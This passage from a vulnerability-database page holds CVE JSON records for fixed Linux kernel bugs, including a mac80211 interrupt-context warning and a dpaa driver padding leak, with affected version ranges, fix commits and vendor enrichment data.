ip_local_out net/ipv4/ip_output.c:129 [inline]\n  ip_send_skb+0x74/0x100 net/ipv4/ip_output.c:1495\n  udp_send_skb+0xacf/0x1650 net/ipv4/udp.c:981\n  udp_sendmsg+0x1c21/0x2a60 net/ipv4/udp.c:1269\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x1a6/0x270 net/socket.c:745\n  ____sys_sendmsg+0x525/0x7d0 net/socket.c:2597\n  ___sys_sendmsg net/socket.c:2651 [inline]\n  __sys_sendmmsg+0x3b2/0x740 net/socket.c:2737\n  __do_sys_sendmmsg net/socket.c:2766 [inline]\n  __se_sys_sendmmsg net/socket.c:2763 [inline]\n  __x64_sys_sendmmsg+0xa0/0xb0 net/socket.c:2763\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f4ce4f7def9\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 40 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 \u003c48\u003e 3d 01 f0 ff ff 73 01 c3 48 c7 c1 a8 ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f4ce5d4a038 EFLAGS: 00000246 ORIG_RAX: 0000000000000133\nRAX: ffffffffffffffda RBX: 00007f4ce5135f80 RCX: 00007f4ce4f7def9\nRDX: 0000000000000001 RSI: 0000000020005d40 RDI: 0000000000000006\nRBP: 00007f4ce4ff0b76 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 0000000000000000 R14: 00007f4ce5135f80 R15: 00007ffd4cbc6d68\n \u003c/TASK\u003e"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:42:43.067Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/50067d8b3f48e4cd4c9e817d3e9a5b5ff3507ca7"
        },
        {
          "url": "https://git.kernel.org/stable/c/c0add6ed2cf1c4733cd489efc61faeccd3433b41"
        },
        {
          "url": "https://git.kernel.org/stable/c/531754952f5dfc4b141523088147071d6e6112c4"
        },
        {
          "url": "https://git.kernel.org/stable/c/38e3fd0c4a2616052eb3c8f4e6f32d1ff47cd663"
        },
        {
          "url": "https://git.kernel.org/stable/c/b40b027a0c0cc1cb9471a13f9730bb2fff12a15b"
        },
        {
          "url": "https://git.kernel.org/stable/c/4e3542f40f3a94efa59ea328e307c50601ed7065"
        },
        {
          "url": "https://git.kernel.org/stable/c/f839c5cd348201fec440d987cbca9b979bdb4fa7"
        },
        {
          "url": "https://git.kernel.org/stable/c/752e1924604254f1708f3e3700283a86ebdd325d"
        },
        {
          "url": "https://git.kernel.org/stable/c/92ceba94de6fb4cee2bf40b485979c342f44a492"
        }
      ],
      "title": "netfilter: nf_tables: prevent nf_skb_duplicated corruption",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-49952",
    "datePublished": "2024-10-21T18:02:07.718Z",
    "dateReserved": "2024-10-21T12:17:06.047Z",
    "dateUpdated": "2026-05-12T11:59:26.475Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47713 (GCVE-0-2024-47713)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

wifi: mac80211: use two-phase skb reclamation in ieee80211_do_stop()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: use two-phase skb reclamation in ieee80211_do_stop() Since '__dev_queue_xmit()' should be called with interrupts enabled, the following backtrace: ieee80211_do_stop() ... spin_lock_irqsave(&local->queue_stop_reason_lock, flags) ... ieee80211_free_txskb() ieee80211_report_used_skb() ieee80211_report_ack_skb() cfg80211_mgmt_tx_status_ext() nl80211_frame_tx_status() genlmsg_multicast_netns() genlmsg_multicast_netns_filtered() nlmsg_multicast_filtered() netlink_broadcast_filtered() do_one_broadcast() netlink_broadcast_deliver() __netlink_sendskb() netlink_deliver_tap() __netlink_deliver_tap_skb() dev_queue_xmit() __dev_queue_xmit() ; with IRQS disabled ... spin_unlock_irqrestore(&local->queue_stop_reason_lock, flags) issues the warning (as reported by syzbot reproducer): WARNING: CPU: 2 PID: 5128 at kernel/softirq.c:362 __local_bh_enable_ip+0xc3/0x120 Fix this by implementing a two-phase skb reclamation in 'ieee80211_do_stop()', where actual work is performed outside of a section with interrupts disabled.

Severity ?

No CVSS data available.

Assigner

Linux

References

9 references

URL	Tags
https://git.kernel.org/stable/c/07eb0bd7b0a8abed9…
https://git.kernel.org/stable/c/04f75f5bae3334928…
https://git.kernel.org/stable/c/f232916fab67ca1c3…
https://git.kernel.org/stable/c/acb53a716e492a024…
https://git.kernel.org/stable/c/db5ca4b42ccfa42d2…
https://git.kernel.org/stable/c/058c9026ad79dc985…
https://git.kernel.org/stable/c/eab272972cffff9cd…
https://git.kernel.org/stable/c/ad4b7068b101fbbb4…
https://git.kernel.org/stable/c/9d301de12da6e1bb0…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < 07eb0bd7b0a8abed9d45e0f567c9af1dc83e5268 (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < 04f75f5bae33349283d6886901d9acd2f110c024 (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < f232916fab67ca1c3425926df4a866e59ff26908 (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < acb53a716e492a02479345157c43f21edc8bc64b (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < db5ca4b42ccfa42d2af7b335ff12578e57775c02 (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < 058c9026ad79dc98572442fd4c7e9a36aba6f596 (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < eab272972cffff9cd973b8e4055a8e81c64f7e6a (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < ad4b7068b101fbbb4a9ca4b99b25eb051a9482ec (git) Affected: 5061b0c2b9066de426fbc63f1278d2210e789412 , < 9d301de12da6e1bb069a9835c38359b8e8135121 (git)
Linux	Linux	Affected: 2.6.32 Unaffected: 0 , < 2.6.32 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47713",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:02:59.793791Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:18.686Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:17.686Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:39.251Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/iface.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "07eb0bd7b0a8abed9d45e0f567c9af1dc83e5268",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "04f75f5bae33349283d6886901d9acd2f110c024",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "f232916fab67ca1c3425926df4a866e59ff26908",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "acb53a716e492a02479345157c43f21edc8bc64b",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "db5ca4b42ccfa42d2af7b335ff12578e57775c02",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "058c9026ad79dc98572442fd4c7e9a36aba6f596",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "eab272972cffff9cd973b8e4055a8e81c64f7e6a",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "ad4b7068b101fbbb4a9ca4b99b25eb051a9482ec",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            },
            {
              "lessThan": "9d301de12da6e1bb069a9835c38359b8e8135121",
              "status": "affected",
              "version": "5061b0c2b9066de426fbc63f1278d2210e789412",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/mac80211/iface.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2.6.32"
            },
            {
              "lessThan": "2.6.32",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "2.6.32",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nwifi: mac80211: use two-phase skb reclamation in ieee80211_do_stop()\n\nSince \u0027__dev_queue_xmit()\u0027 should be called with interrupts enabled,\nthe following backtrace:\n\nieee80211_do_stop()\n ...\n spin_lock_irqsave(\u0026local-\u003equeue_stop_reason_lock, flags)\n ...\n ieee80211_free_txskb()\n  ieee80211_report_used_skb()\n   ieee80211_report_ack_skb()\n    cfg80211_mgmt_tx_status_ext()\n     nl80211_frame_tx_status()\n      genlmsg_multicast_netns()\n       genlmsg_multicast_netns_filtered()\n        nlmsg_multicast_filtered()\n\t netlink_broadcast_filtered()\n\t  do_one_broadcast()\n\t   netlink_broadcast_deliver()\n\t    __netlink_sendskb()\n\t     netlink_deliver_tap()\n\t      __netlink_deliver_tap_skb()\n\t       dev_queue_xmit()\n\t        __dev_queue_xmit() ; with IRQS disabled\n ...\n spin_unlock_irqrestore(\u0026local-\u003equeue_stop_reason_lock, flags)\n\nissues the warning (as reported by syzbot reproducer):\n\nWARNING: CPU: 2 PID: 5128 at kernel/softirq.c:362 __local_bh_enable_ip+0xc3/0x120\n\nFix this by implementing a two-phase skb reclamation in\n\u0027ieee80211_do_stop()\u0027, where actual work is performed\noutside of a section with interrupts disabled."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:20.654Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/07eb0bd7b0a8abed9d45e0f567c9af1dc83e5268"
        },
        {
          "url": "https://git.kernel.org/stable/c/04f75f5bae33349283d6886901d9acd2f110c024"
        },
        {
          "url": "https://git.kernel.org/stable/c/f232916fab67ca1c3425926df4a866e59ff26908"
        },
        {
          "url": "https://git.kernel.org/stable/c/acb53a716e492a02479345157c43f21edc8bc64b"
        },
        {
          "url": "https://git.kernel.org/stable/c/db5ca4b42ccfa42d2af7b335ff12578e57775c02"
        },
        {
          "url": "https://git.kernel.org/stable/c/058c9026ad79dc98572442fd4c7e9a36aba6f596"
        },
        {
          "url": "https://git.kernel.org/stable/c/eab272972cffff9cd973b8e4055a8e81c64f7e6a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ad4b7068b101fbbb4a9ca4b99b25eb051a9482ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/9d301de12da6e1bb069a9835c38359b8e8135121"
        }
      ],
      "title": "wifi: mac80211: use two-phase skb reclamation in ieee80211_do_stop()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47713",
    "datePublished": "2024-10-21T11:53:45.433Z",
    "dateReserved": "2024-09-30T16:00:12.948Z",
    "dateUpdated": "2026-05-12T11:58:39.251Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-46854 (GCVE-0-2024-46854)

Vulnerability from cvelistv5 – Published: 2024-09-27 12:42 – Updated: 2026-05-12 11:58

Title

net: dpaa: Pad packets to ETH_ZLEN

Summary

In the Linux kernel, the following vulnerability has been resolved: net: dpaa: Pad packets to ETH_ZLEN When sending packets under 60 bytes, up to three bytes of the buffer following the data may be leaked. Avoid this by extending all packets to ETH_ZLEN, ensuring nothing is leaked in the padding. This bug can be reproduced by running $ ping -s 11 destination

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/cd5b9d657ecd44ad5…
https://git.kernel.org/stable/c/dc43a096cfe65b5c3…
https://git.kernel.org/stable/c/1f31f51bfc8214a6d…
https://git.kernel.org/stable/c/38f5db5587c0ee535…
https://git.kernel.org/stable/c/f43190e33224c49e1…
https://git.kernel.org/stable/c/34fcac26216ce1788…
https://git.kernel.org/stable/c/ce8eabc912fe9b9a6…
https://git.kernel.org/stable/c/cbd7ec083413c6a2e…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < cd5b9d657ecd44ad5f254c3fea3a6ab1cf0e2ef7 (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < dc43a096cfe65b5c32168313846c5cd135d08f1d (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < 1f31f51bfc8214a6deaac2920e6342cb9d019133 (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < 38f5db5587c0ee53546b28c50ba128253181ac83 (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < f43190e33224c49e1c7ebbc25923ff400d87ec00 (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < 34fcac26216ce17886af3eb392355b459367af1a (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < ce8eabc912fe9b9a62be1a5c6af5ad2196e90fc2 (git) Affected: 9ad1a37493338cacf04e2c93acf44d151a7adda8 , < cbd7ec083413c6a2e0c326d49e24ec7d12c7a9e0 (git)
Linux	Linux	Affected: 4.10 Unaffected: 0 , < 4.10 (semver) Unaffected: 4.19.323 , ≤ 4.19.* (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.111 , ≤ 6.1.* (semver) Unaffected: 6.6.52 , ≤ 6.6.* (semver) Unaffected: 6.10.11 , ≤ 6.10.* (semver) Unaffected: 6.11 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-46854",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-29T13:58:12.883040Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-29T13:58:17.149Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:19:40.314Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:00.947Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/freescale/dpaa/dpaa_eth.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "cd5b9d657ecd44ad5f254c3fea3a6ab1cf0e2ef7",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "dc43a096cfe65b5c32168313846c5cd135d08f1d",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "1f31f51bfc8214a6deaac2920e6342cb9d019133",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "38f5db5587c0ee53546b28c50ba128253181ac83",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "f43190e33224c49e1c7ebbc25923ff400d87ec00",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "34fcac26216ce17886af3eb392355b459367af1a",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "ce8eabc912fe9b9a62be1a5c6af5ad2196e90fc2",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            },
            {
              "lessThan": "cbd7ec083413c6a2e0c326d49e24ec7d12c7a9e0",
              "status": "affected",
              "version": "9ad1a37493338cacf04e2c93acf44d151a7adda8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/ethernet/freescale/dpaa/dpaa_eth.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.10"
            },
            {
              "lessThan": "4.10",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.323",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.111",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.52",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.11",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.323",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.111",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.52",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.11",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11",
                  "versionStartIncluding": "4.10",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: dpaa: Pad packets to ETH_ZLEN\n\nWhen sending packets under 60 bytes, up to three bytes of the buffer\nfollowing the data may be leaked. Avoid this by extending all packets to\nETH_ZLEN, ensuring nothing is leaked in the padding. This bug can be\nreproduced by running\n\n\t$ ping -s 11 destination"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:37:50.078Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/cd5b9d657ecd44ad5f254c3fea3a6ab1cf0e2ef7"
        },
        {
          "url": "https://git.kernel.org/stable/c/dc43a096cfe65b5c32168313846c5cd135d08f1d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1f31f51bfc8214a6deaac2920e6342cb9d019133"
        },
        {
          "url": "https://git.kernel.org/stable/c/38f5db5587c0ee53546b28c50ba128253181ac83"
        },
        {
          "url": "https://git.kernel.org/stable/c/f43190e33224c49e1c7ebbc25923ff400d87ec00"
        },
        {
          "url": "https://git.kernel.org/stable/c/34fcac26216ce17886af3eb392355b459367af1a"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce8eabc912fe9b9a62be1a5c6af5ad2196e90fc2"
        },
        {
          "url": "https://git.kernel.org/stable/c/cbd7ec083413c6a2e0c326d49e24ec7d12c7a9e0"
        }
      ],
      "title": "net: dpaa: Pad packets to ETH_ZLEN",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-46854",
    "datePublished": "2024-09-27T12:42:46.655Z",
    "dateReserved": "2024-09-11T15:12:18.291Z",
    "dateUpdated": "2026-05-12T11:58:00.947Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2021-47002 (GCVE-0-2021-47002)

Vulnerability from cvelistv5 – Published: 2024-02-28 08:13 – Updated: 2026-05-12 10:12

Title

SUNRPC: Fix null pointer dereference in svc_rqst_free()

Summary

